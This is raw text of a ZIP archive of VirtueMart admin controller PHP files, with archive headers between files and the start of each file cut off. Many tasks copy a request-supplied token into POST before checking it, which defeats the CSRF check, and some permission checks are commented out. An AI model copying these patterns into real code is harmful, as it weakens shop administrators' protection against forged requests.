(file_exists(JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php')) { // Only if the file exists, since it might be a Joomla view we're requesting... require (JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php'); } else { // try plugins JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $results = $dispatcher->trigger('onVmAdminController', array($_controller)); if (empty($results)) { $app = JFactory::getApplication(); $app->enqueueMessage('Fatal Error in maincontroller admin.virtuemart.php: Couldnt find file '.$_controller); $app->redirect('index.php?option=com_virtuemart'); } } } // Create the controller $_class = 'VirtueMartController'.ucfirst($_controller); $controller = new $_class(); // Perform the Request task $controller->execute(vRequest::getCmd('task', $_controller)); vmTime($_class.' Finished task '.$_controller,'Start'); vmRam('End'); vmRamPeak('Peak'); $controller->redirect(); // pure php no closing tagPK@y>\SPP'components/com_virtuemart/changelog.phpnuW+A Legend: * -> Security Fix # -> Bug Fix $ -> Language fix or change + -> Addition ^ -> Change - -> Removed ! -> Note -------------------- 1.5.0 Stable Release [Release date here] ------------------ ^ Category maintenance converted to MVC ^ Manufacturer Category view converted ^ Landing page converted to MVC ^ Media handling converted to MVC ^ Product listing converted to MVC ^ Administrator menu converted to MVC helper ^ Country maintenance converted to MVC ^ Credit card maintenance converted to MVC ^ Currency maintenance converted to MVC ^ Coupon maintenance converted to MVC + Added the ability to publish/unpublish countries ^ Coupon maintenance converted to MVC ^ Shipment Carrier maintenance converted to MVC ^ Shipment Rate maintenance converted ^ Order Status maintenance page converted to MVC # Bug 1538 fixed; Product pricing table changePK@y>\D D 3components/com_virtuemart/controllers/translate.phpnuW+AgetDefault() == $lang ) $dblang =''; $dblang= strtr($lang,'-','_'); $id = JRequest::getInt('id',0); $viewKey = JRequest::getWord('editView'); // TODO temp trick for vendor if ($viewKey == 'vendor') $id = 1 ; $tables = array ('category' =>'categories','product' =>'products','manufacturer' =>'manufacturers','manufacturercategories' =>'manufacturercategories','vendor' =>'vendors', 'paymentmethod' =>'paymentmethods', 'shipmentmethod' =>'shipmentmethods'); if ( !array_key_exists($viewKey, $tables) ) { $json['msg'] ="Invalid view ". $viewKey; echo json_encode($json); jExit(); } $tableName = '#__virtuemart_'.$tables[$viewKey].'_'.$dblang; $db =JFactory::getDBO(); $q='select * FROM `'.$tableName.'` where `virtuemart_'.$viewKey.'_id` ='.$id; $db->setQuery($q); if ($json['fields'] = $db->loadAssoc()) { $json['structure'] = 'filled' ; $json['msg'] = jText::_('COM_VIRTUEMART_SELECTED_LANG').':'.$lang; } else { $json['structure'] = 'empty' ; $db->setQuery('SHOW COLUMNS FROM '.$tableName); $tableDescribe = $db->loadAssocList(); array_shift($tableDescribe); $fields=array(); foreach ($tableDescribe as $key =>$val) $fields[$val['Field']] = $val['Field'] ; $json['fields'] = $fields; $json['msg'] = JText::sprintf('COM_VIRTUEMART_LANG_IS_EMPTY',$lang ,jText::_('COM_VIRTUEMART_'.strtoupper( $viewKey)) ) ; } echo json_encode($json); jExit(); } } //pure php no tag PK@y>\n6components/com_virtuemart/controllers/shoppergroup.phpnuW+AregisterTask( 'default','makeDefault' ); } function makeDefault() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('shoppergroup', 'html'); $model = VmModel::getModel('shoppergroup'); $msgtype = ''; $cids = JRequest::getVar('virtuemart_shoppergroup_id',array()); if ($model->makeDefault((int)$cids[0])) $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY'); else { $msg = ''; // $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_ERROR'); $msgtype = 'error'; } $mainframe->redirect('index.php?option=com_virtuemart&view=shoppergroup', $msg, $msgtype); } } // pure php no closing tag PK@y>\$$4components/com_virtuemart/controllers/virtuemart.phpnuW+AsetDangerousToolsOff(); $this->display(); } } PK@y>\O4components/com_virtuemart/controllers/usergroups.phpnuW+A\e/components/com_virtuemart/controllers/about.phpnuW+A\)/components/com_virtuemart/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\KZ^^4components/com_virtuemart/controllers/userfields.phpnuW+AgetType(); $view = $this->getView('userfields', $viewType); parent::display(); } function viewJson() { // Create the view object. $view = $this->getView('userfields', 'json'); // Now display the view. $view->display(null); } } //No Closing tag PK@y>\VV.components/com_virtuemart/controllers/user.phpnuW+Aedit(); } function editshop(){ $user = JFactory::getUser(); //the virtuemart_user_id var gets overriden in the edit function, when not set. So we must set it here JRequest::setVar('virtuemart_user_id', (int)$user->id); $this->edit(); } function cancel(){ $lastTask = JRequest::getWord('last_task'); if ($lastTask == 'edit_shop') $this->setRedirect('index.php?option=com_virtuemart'); else $this->setRedirect('index.php?option=com_virtuemart&view=user'); } /** * Handle the save task * Checks already in the controller the rights todo so and sets the data by filtering the post * * @author Max Milbers */ function save($data = 0){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView('user', $viewType); $_currentUser = JFactory::getUser(); // TODO sortout which check is correctt..... // if (!$_currentUser->authorize('administration', 'manage', 'components', 'com_users')) { if (!$_currentUser->authorize('core.edit', 'com_users')) { $msg = JText::_(_NOT_AUTH); } else { $model = VmModel::getModel('user'); $data = JRequest::get('post'); // Store multiple selectlist entries as a ; separated string if (array_key_exists('vendor_accepted_currencies', $data) && is_array($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode(',', $data['vendor_accepted_currencies']); } // TODO disallow vendor_store_name as HTML ? $data['vendor_store_name'] = JRequest::getVar('vendor_store_name','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_store_desc'] = JRequest::getVar('vendor_store_desc','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_terms_of_service'] = JRequest::getVar('vendor_terms_of_service','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_legal_info'] = JRequest::getVar('vendor_legal_info','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_css'] = JRequest::getVar('vendor_letter_css','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_header_html'] = JRequest::getVar('vendor_letter_header_html','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_footer_html'] = JRequest::getVar('vendor_letter_footer_html','','post','STRING',JREQUEST_ALLOWHTML); $ret=$model->store($data); if(!$ret){ $msg = ''; } else { $msg = $ret['message']; } } $cmd = JRequest::getCmd('task'); $lastTask = JRequest::getWord('last_task'); if($cmd == 'apply'){ if ($lastTask == 'editshop') $redirection = 'index.php?option=com_virtuemart&view=user&task=editshop'; else $redirection = 'index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]='.$ret['newId']; } else { if ($lastTask == 'editshop') $redirection = 'index.php?option=com_virtuemart'; else $redirection = 'index.php?option=com_virtuemart&view=user'; } // $this->setRedirect($redirection, $ret['message']); $this->setRedirect($redirection); } } //No Closing tag PK@y>\,bVh 0components/com_virtuemart/controllers/config.phpnuW+Astore($data)) { $msg = JText::_('COM_VIRTUEMART_CONFIG_SAVED'); // Load the newly saved values into the session. VmConfig::loadConfig(); } else { $msg = $model->getError(); } $redir = 'index.php?option=com_virtuemart'; if(JRequest::getCmd('task') == 'apply'){ $redir = $this->redirectPath; } $this->setRedirect($redir, $msg); } /** * Overwrite the remove task * Removing config is forbidden. * @author Max Milbers */ function remove(){ $msg = JText::_('COM_VIRTUEMART_ERROR_CONFIGS_COULD_NOT_BE_DELETED'); $this->setRedirect( $this->redirectPath , $msg); } } //pure php no tag PK@y>\5 5 /components/com_virtuemart/controllers/media.phpnuW+AgetView('media', 'json'); /* Now display the view. */ $view->display(null); } function save($data = 0){ $fileModel = VmModel::getModel('media'); //Now we try to determine to which this media should be long to $data = JRequest::get('post'); //$data['file_title'] = JRequest::getVar('file_title','','post','STRING',JREQUEST_ALLOWHTML); $data['file_description'] = JRequest::getVar('file_description','','post','STRING',JREQUEST_ALLOWHTML); $data['media_attributes'] = JRequest::getWord('media_attributes'); $data['file_type'] = JRequest::getWord('file_type'); if(empty($data['file_type'])){ $data['file_type'] = $data['media_attributes']; } if ($id = $fileModel->store($data,$data['file_type'])) { $msg = JText::_('COM_VIRTUEMART_FILE_SAVED_SUCCESS'); } else { $msg = $fileModel->getError(); } $cmd = JRequest::getCmd('task'); if($cmd == 'apply'){ $redirection = 'index.php?option=com_virtuemart&view=media&task=edit&virtuemart_media_id='.$id; } else { $redirection = 'index.php?option=com_virtuemart&view=media'; } $this->setRedirect($redirection, $msg); } function synchronizeMedia(){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } } // pure php no closing tag PK@y>\^1components/com_virtuemart/controllers/country.phpnuW+A\El0components/com_virtuemart/controllers/index.htmlnuW+A PK@y>\BndPP-components/com_virtuemart/controllers/log.phpnuW+AsetRedirect('index.php?option=com_virtuemart&view=log' ); } } // pure php no closing tagPK@y>\"K0components/com_virtuemart/controllers/coupon.phpnuW+A\\\6components/com_virtuemart/controllers/manufacturer.phpnuW+A\͒ܝ.components/com_virtuemart/controllers/calc.phpnuW+AsetRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the calc order * * @author jseros */ public function orderDown() { // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the categories order */ public function saveOrder() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); $model = VmModel::getModel('calc'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=calc', $msg ); } } // pure php no closing tag PK@y>\0components/com_virtuemart/controllers/report.phpnuW+AupdateOrderItems(); $this->setRedirect($this->redirectPath, 'Order Items updated'); } } // pure php no closing tagPK@y>\vߍJNJN:components/com_virtuemart/controllers/updatesmigration.phpnuW+Acheck('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } return true; } /** * Akeeba release system tasks * Update * @author Max Milbers */ function liveUpdate(){ $this->setRedirect('index.php?option=com_virtuemart&view=liveupdate.', 'Akeeba release system'); } /** * Install sample data into the database * * @author RickG */ function checkForLatestVersion(){ $model = $this->getModel('updatesMigration'); JRequest::setVar('latestverison', $model->getLatestVersion()); JRequest::setVar('view', 'updatesMigration'); parent::display(); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function installSampleData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $msg = $model->installSampleData(); $this->setRedirect($this->redirectPath, $msg); } /** * Sets the storeowner to the currently logged in user * He needs admin rights * * @author Max Milbers */ function setStoreOwner(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $storeOwnerId =JRequest::getInt('storeOwnerId'); $msg = $model->setStoreOwner($storeOwnerId); $this->setRedirect($this->redirectPath, $msg); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function restoreSystemDefaults(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemDefaults(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED'); $msg .= ' User id of the main vendor is ' . $model->setStoreOwner(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * Remove all the Virtuemart tables from the database. * * @author RickG * @author Max Milbers */ function deleteVmTables(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMTables()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect('index.php?option=com_installer', $msg); } /** * Deletes all dynamical created data and leaves a "fresh" installation without sampledata * OUTDATED * @author Max Milbers * */ function deleteVmData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMData()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteAll(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_ALLVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_essential.sql"); $this->installer->populateVmDatabase("delete_data.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteRestorable(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_RESTVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_restoreable.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function refreshCompleteInstallAndSample(){ $this->refreshCompleteInstall(true); } function refreshCompleteInstall($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemTablesCompletly(); //$id = $model->determineStoreOwner(); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); if($sample)$model->installSampleData($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
        '; } } VmConfig::installVMconfig(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function installCompleteSamples(){ $this->installComplete(true); } function installComplete($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->install(true); $model = $this->getModel('updatesMigration'); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
        '; } } if(!class_exists('com_virtuemart_allinoneInstallerScript')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart_allinone' . DS . 'script.vmallinone.php'); $updater = new com_virtuemart_allinoneInstallerScript(); $updater->vmInstall(true); if($sample) $model->installSampleData($sid); VmConfig::installVMconfig(); //Now lets set some joomla variables //Caching should be enabled, set to files and for 15 minutes if (!class_exists( 'ConfigModelApplication' )) require(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_config'.DS.'models'.DS.'application.php'); $jConfModel = new ConfigModelApplication(); $jConfig = $jConfModel->getData(); $jConfig['caching'] = 0; $jConfig['lifetime'] = 60; $jConfig['list_limit'] = 25; $jConfig['MetaDesc'] = 'VirtueMart works with Joomla! - the dynamic portal engine and content management system'; $jConfig['MetaKeys'] = 'virtuemart, vm2, joomla, Joomla'; $app = JFactory::getApplication(); $return = $jConfModel->save($jConfig); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $jConfig); vmError(vmText::sprintf('JERROR_SAVE_FAILED', $model->getError())); //return false; } else { // Set the success message. //vmInfo('COM_CONFIG_SAVE_SUCCESS'); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * This is executing the update table commands to adjust tables to the latest layout * @author Max Milbers */ function updateDatabase(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->update(false); $this->setRedirect($this->redirectPath, 'Database updated'); } /** * Delete the config stored in the database and renews it using the file * * @auhtor Max Milbers */ function renewConfig(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); //if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('config'); $model -> deleteConfig(); // } $this->setRedirect($this->redirectPath, 'Configuration is now restored by file'); } /** * This function resets the flag in the config that dangerous tools can't be executed anylonger * This is a security feature * * @author Max Milbers */ function setDangerousToolsOff(){ if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); if(!empty($res)){ $model = $this->getModel('config'); $model->setDangerousToolsOff(); } } /** * Sends the message to the user that the tools are disabled. * * @author Max Milbers */ function _getMsgDangerousTools(){ $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart_config'); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $msg = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED', JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'), $link); return $msg; } function portMedia(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } function migrateGeneralFromVmOne(){ $data = JRequest::get('get'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateGeneral(); if($result){ $msg = 'Migration general finished'; } else { $msg = 'Migration general was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateUsersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateUsers(); if($result){ $msg = 'Migration users finished'; } else { $msg = 'Migration users was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateProductsFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateProducts(); if($result){ $msg = 'Migration products finished'; } else { $msg = 'Migration products was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateOrdersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateOrders(); if($result){ $msg = 'Migration orders finished'; } else { $msg = 'Migration orders was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } /** * Is doing all migrator steps in one row * * @author Max Milbers */ function migrateAllInOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateAllInOne(); if($result){ $msg = 'Migration finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmAttributes(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1Attributes(); if($result){ $msg = 'Migration Vm2 attributes finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmRelatedProducts(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1RelatedProducts(); if($result){ $msg = 'Migration Vm2 related products finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function reOrderChilds(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->reOrderChilds(); //$msg = 'reOrderDone'; $this->setRedirect($this->redirectPath, $result); } function storeMigrationOptionsInSession(){ $session = JFactory::getSession(); $session->set('migration_task', JRequest::getString('task',''), 'vm'); $session->set('migration_default_category_browse', JRequest::getString('migration_default_category_browse',''), 'vm'); $session->set('migration_default_category_fly', JRequest::getString('migration_default_category_fly',''), 'vm'); } function resetThumbs(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $model = VmModel::getModel('updatesMigration'); $result = $model->resetThumbs(); $this->setRedirect($this->redirectPath, $result); } } PK@y>\ |3components/com_virtuemart/controllers/inventory.phpnuW+A\t=99@components/com_virtuemart/controllers/manufacturercategories.phpnuW+A\ YD-D-1components/com_virtuemart/controllers/product.phpnuW+AaddViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); } /** * Shows the product add/edit screen */ public function edit($layout='edit') { parent::edit('product_edit'); } /** * We want to allow html so we need to overwrite some request data * * @author Max Milbers */ function save($data = 0){ $data = JRequest::get('post'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin')){ $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_s_desc'] = JRequest::getVar('product_s_desc','','post','STRING',2); $data['customtitle'] = JRequest::getVar('customtitle','','post','STRING',2); } else { $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_desc'] = JComponentHelper::filterText($data['product_desc']); //Why we have this? $multix = Vmconfig::get('multix','none'); if( $multix != 'none' ){ //in fact this shoudl be used, when the mode is administrated and the sysetm is so that //every product must be approved by an admin. unset($data['published']); //unset($data['childs']); } } parent::save($data); } function saveJS(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit( 'Invalid Token save' ); $model = VmModel::getModel($this->_cname); $id = $model->store($data); $errors = $model->getErrors(); if(empty($errors)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_SAVED',$this->mainLangKey); $type = 'save'; } else $type = 'error'; foreach($errors as $error){ $msg = ($error).'
        '; } $json['msg'] = $msg; if ($id) { $json['product_id'] = $id; $json['ok'] = 1 ; } else { $json['ok'] = 0 ; } echo json_encode($json); jExit(); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createChild(){ $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&product_parent_id='.$cids[0].'&virtuemart_product_id='.$id; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } } $app->redirect($redirect, $msg, $msgtype); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createVariant(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); //$cid = JRequest::getInt('virtuemart_product_id',0); $cid = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($cid) && count($cid) > 0){ $cid = (int)$cid[0]; } else { $cid = (int)$cid; } if(empty($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); // $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } // vmdebug('$redirect '.$redirect); $app->redirect($redirect, $msg, 